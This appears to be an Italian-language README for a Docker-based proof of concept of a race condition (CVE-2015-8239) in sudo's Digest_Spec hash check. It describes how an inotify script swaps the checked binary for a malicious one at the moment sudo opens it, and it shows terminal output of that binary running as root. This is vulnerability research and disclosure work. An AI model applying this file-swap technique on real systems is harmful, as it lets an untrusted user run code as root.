
Proof-of-concept basato su Docker che dimostra un exploit di race condition TOCTOU contro la funzione Digest_Spec di sudo (CVE-2015-8239) utilizzando inotify per attacchi di sostituzione di file cross-user.
Digest_Spec di sudoersAlyssa Milburn (https://twitter.com/noopwafel) ha scoperto un bug di condizione di gara TOCTOU in sudo quando viene utilizzata l'impostazione Digest_Spec. L'impostazione Digest_Spec può essere utilizzata per permettere a un utente di eseguire sudo su un binario se e solo se il suo hash corrisponde a un valore prescritto. Consultare man sudoers e cercare Digest_Spec per maggiori informazioni su questa funzionalità, e vedere http://noopwafel.net/notes/2015/sudo-digest-race-condition.html per maggiori informazioni sul bug scoperto da Alyssa. Il problema è stato assegnato CVE-2015-8239.
Il problema è stato mitigato aggiungendo documentazione a man sudoers che avverte del potenziale di una condizione di gara, e aggiungendo un po' di magia fexecve() a sudo per cercare di impedire che certi tipi di modifiche ai file siano efficaci.
È interessante notare che cve-assign ha detto quanto segue su https://seclists.org/oss-sec/2015/q4/256:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
Questo POC dimostra che questa affermazione non è necessariamente vera, a patto che l'utente "scrittore" possa eseguire codice persistente sul sistema. L'utente "scrittore" può sfruttare inotify per rilevare quando l'utente "esecutore" sta eseguendo il file usando sudo e può tentare un attacco di sostituzione del file in quel momento.
Questo progetto crea un'immagine Docker che:
/opt/sudoable che è scrivibile dall'utente editor, ed è eseguibile con sudo dall'utente executor se e solo se il suo hash SHA256 corrisponde a un valore particolare/opt/hello (Il file "buono" il cui hash SHA256 è integrato in sudoers) e un file in /opt/goodbye (Un file "maligno")/opt scrivibile solo dall'utente root (E quindi l'utente editor può sostituire il contenuto di /opt/sudoable ma non può effettuare un'operazione di scambio di file a livello di filesystem)/home/editor/exploit/exploit.pyQuando /home/editor/exploit/exploit.py viene eseguito dall'utente editor, inotify viene utilizzato per monitorare gli eventi del filesystem. Quando il file /opt/sudoable viene acceduto, viene sostituito con /opt/goodbye. Dopo che il file viene chiuso, viene sostituito con /opt/hello per lasciare le cose in uno stato "normale".
Supponendo che questa gara abbia successo quando l'utente executor esegue sudo /opt/sudoable (cosa che accade la maggior parte delle volte sulla mia macchina), l'utente editor può far sì che l'utente executor esegua un binario maligno come root indipendentemente dal fatto che l'hash SHA256 sia specificato come valore Digest_Spec in sudoers.
Esegui make all
./instantiate.shtmux new-session e dividi il riquadro (Ctrl+b poi "; usa Ctrl+b poi Su/Giù per cambiare riquadro)sudo -u executor sudo /opt/sudoable e osserva l'output Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable e osserva che ti viene chiesta una password (cioè l'operazione sudo è fallita a causa di una mancata corrispondenza del digest)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable alcune volte e osserva l'output occasionale di Riquadro superiore:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
Riquadro inferiore:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
Riquadro superiore:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
Riquadro inferiore:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
Riquadro superiore:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
In quali casi la mitigazione fexecve() è effettivamente efficace? Se un utente ha accesso in scrittura al file sudoable ma non alla directory in cui si trova, può modificare il file che viene aperto da sudo. Se l'utente ha accesso in scrittura alla directory ma non al file, può spostare il file e ricrearlo in modo da poterlo modificare, e siamo punto e a capo.
Grazie a Luke (https://twitter.com/lukejahnke) per avermi parlato dell'impostazione Digest_Spec, per aver scambiato idee e per aver pensato di usare inotify per un POC pulito tra utenti diversi.
Goodbye uid=0